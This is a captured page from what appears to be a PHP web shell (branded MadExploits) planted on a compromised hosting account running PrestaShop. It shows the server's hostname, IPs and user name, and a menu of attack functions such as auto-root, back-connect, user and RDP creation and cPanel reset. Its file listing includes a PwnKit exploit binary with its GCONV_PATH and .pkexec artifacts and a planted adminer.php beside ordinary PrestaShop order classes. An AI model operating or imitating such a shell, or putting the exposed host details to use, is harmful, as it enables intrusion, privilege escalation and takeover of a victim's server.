Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
classes /
order /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Order.php
98.83
KB
-rw----r--
OrderCarrier.php
6.76
KB
-rw----r--
OrderCartRule.php
2.73
KB
-rw----r--
OrderDetail.php
35.73
KB
-rw----r--
OrderDiscount.php
1.89
KB
-rw----r--
OrderHistory.php
29.39
KB
-rw----r--
OrderInvoice.php
33.6
KB
-rw----r--
OrderMessage.php
2.51
KB
-rw----r--
OrderPayment.php
5.03
KB
-rw----r--
OrderReturn.php
11.1
KB
-rw----r--
OrderReturnState.php
2.29
KB
-rw----r--
OrderSlip.php
23.36
KB
-rw----r--
OrderState.php
6.52
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : OrderState.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ class OrderStateCore extends ObjectModel { /** @var string Name */ public $name; /** @var string Template name if there is any e-mail to send */ public $template; /** @var bool Send an e-mail to customer ? */ public $send_email; public $module_name; /** @var bool Allow customer to view and download invoice when order is at this state */ public $invoice; /** @var string Display state in the specified color */ public $color; public $unremovable; /** @var bool Log authorization */ public $logable; /** @var bool Delivery */ public $delivery; /** @var bool Hidden */ public $hidden; /** @var bool Shipped */ public $shipped; /** @var bool Paid */ public $paid; /** @var bool Attach PDF Invoice */ public $pdf_invoice; /** @var bool Attach PDF Delivery Slip */ public $pdf_delivery; /** @var bool True if carrier has been deleted (staying in database as deleted) */ public $deleted = 0; /** * @see ObjectModel::$definition */ public static $definition = [ 'table' => 'order_state', 'primary' => 'id_order_state', 'multilang' => true, 'fields' => [ 'send_email' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool'], 'module_name' => ['type' => self::TYPE_STRING, 'validate' => 'isModuleName'], 'invoice' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool'], 'color' => ['type' => self::TYPE_STRING, 'validate' => 'isColor'], 'logable' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool'], 'shipped' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool'], 'unremovable' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool'], 'delivery' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool'], 'hidden' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool'], 'paid' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool'], 'pdf_delivery' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool'], 'pdf_invoice' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool'], 'deleted' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool'], /* Lang fields */ 'name' => ['type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 64], 'template' => ['type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isTplName', 'size' => 64], ], ]; protected $webserviceParameters = [ 'fields' => [ 'unremovable' => [], 'delivery' => [], 'hidden' => [], ], ]; const FLAG_NO_HIDDEN = 1; /* 00001 */ const FLAG_LOGABLE = 2; /* 00010 */ const FLAG_DELIVERY = 4; /* 00100 */ const FLAG_SHIPPED = 8; /* 01000 */ const FLAG_PAID = 16; /* 10000 */ /** * Get all available order statuses. * * @param int $id_lang Language id for status name * @param bool $getDeletedStates * * @return array Order statuses */ public static function getOrderStates($id_lang, $filterDeleted = true) { $deletedStates = $filterDeleted ? ' WHERE deleted = 0' : ''; $cache_id = 'OrderState::getOrderStates_' . (int) $id_lang; $cache_id .= $filterDeleted ? '_filterDeleted' : ''; if (!Cache::isStored($cache_id)) { $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' SELECT * FROM `' . _DB_PREFIX_ . 'order_state` os LEFT JOIN `' . _DB_PREFIX_ . 'order_state_lang` osl ON (os.`id_order_state` = osl.`id_order_state` AND osl.`id_lang` = ' . (int) $id_lang . ')' . $deletedStates . ' ORDER BY `name` ASC'); Cache::store($cache_id, $result); return $result; } return Cache::retrieve($cache_id); } /** * Check if we can make a invoice when order is in this state. * * @param int $id_order_state State ID * * @return bool availability */ public static function invoiceAvailable($id_order_state) { $result = false; if (Configuration::get('PS_INVOICE')) { $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' SELECT `invoice` FROM `' . _DB_PREFIX_ . 'order_state` WHERE `id_order_state` = ' . (int) $id_order_state); } return (bool) $result; } public function isRemovable() { return !($this->unremovable); } /** * Check if a localized name in database for a specific lang (and excluding some IDs) * * @param string $name * @param int $idLang * @param int|null $excludeIdOrderState ID of the order state excluded for the search * * @return bool */ public static function existsLocalizedNameInDatabase(string $name, int $idLang, ?int $excludeIdOrderState): bool { return (bool) DB::getInstance(_PS_USE_SQL_SLAVE_)->getValue( 'SELECT COUNT(*) AS count' . ' FROM ' . _DB_PREFIX_ . 'order_state_lang osl' . ' INNER JOIN ' . _DB_PREFIX_ . 'order_state os ON (os.`id_order_state` = osl.`id_order_state` AND osl.`id_lang` = ' . $idLang . ')' . ' WHERE osl.id_lang = ' . $idLang . ' AND osl.name = \'' . pSQL($name) . '\'' . ' AND os.deleted = 0' . ($excludeIdOrderState ? ' AND osl.id_order_state != ' . $excludeIdOrderState : '') ); } }
Close